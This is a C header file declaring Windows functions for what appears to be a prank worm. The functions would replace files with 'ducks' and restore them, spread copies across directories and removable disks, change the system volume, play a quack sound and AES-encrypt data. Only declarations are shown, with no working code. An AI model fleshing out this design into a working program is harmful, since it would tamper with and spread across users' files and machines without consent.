#pragma once

PHKEY __stdcall GetLocalUserRoots(LPDWORD rootsSize);

VOID __stdcall ChangeFileToDuck(LPCTSTR target);

VOID __stdcall RecoverFileFromDuck(LPCTSTR target);

BOOL __stdcall IsExeRunning(LPCTSTR path);

BOOL __stdcall IsExeDuck(LPCTSTR path);

DWORD __stdcall GetRunningDucksCount();

DWORD __stdcall RetrievalOperate(LPCTSTR refcstrRootDirectory, BOOL bSearchSubdirectories, BOOL isRemovableDisk,
								LPDWORD rdc, RETRIVER retriver);

DWORD __stdcall RegisterDuckIcon(BOOL forward);

TCHAR __stdcall GetBootDrive();

VOID __stdcall SafeTerminate();

FLOAT __stdcall GetSystemVolume(BOOL vUnit);

VOID __stdcall SetSystemVolume(FLOAT newVolume, BOOL vUnit);

VOID __stdcall QuackVoiceOnce();

DWORD __stdcall SpreadDucksOnce(LPVOID);

LPVOID __stdcall AesCrypt(LPVOID input, DWORD bytes, LPCTSTR key);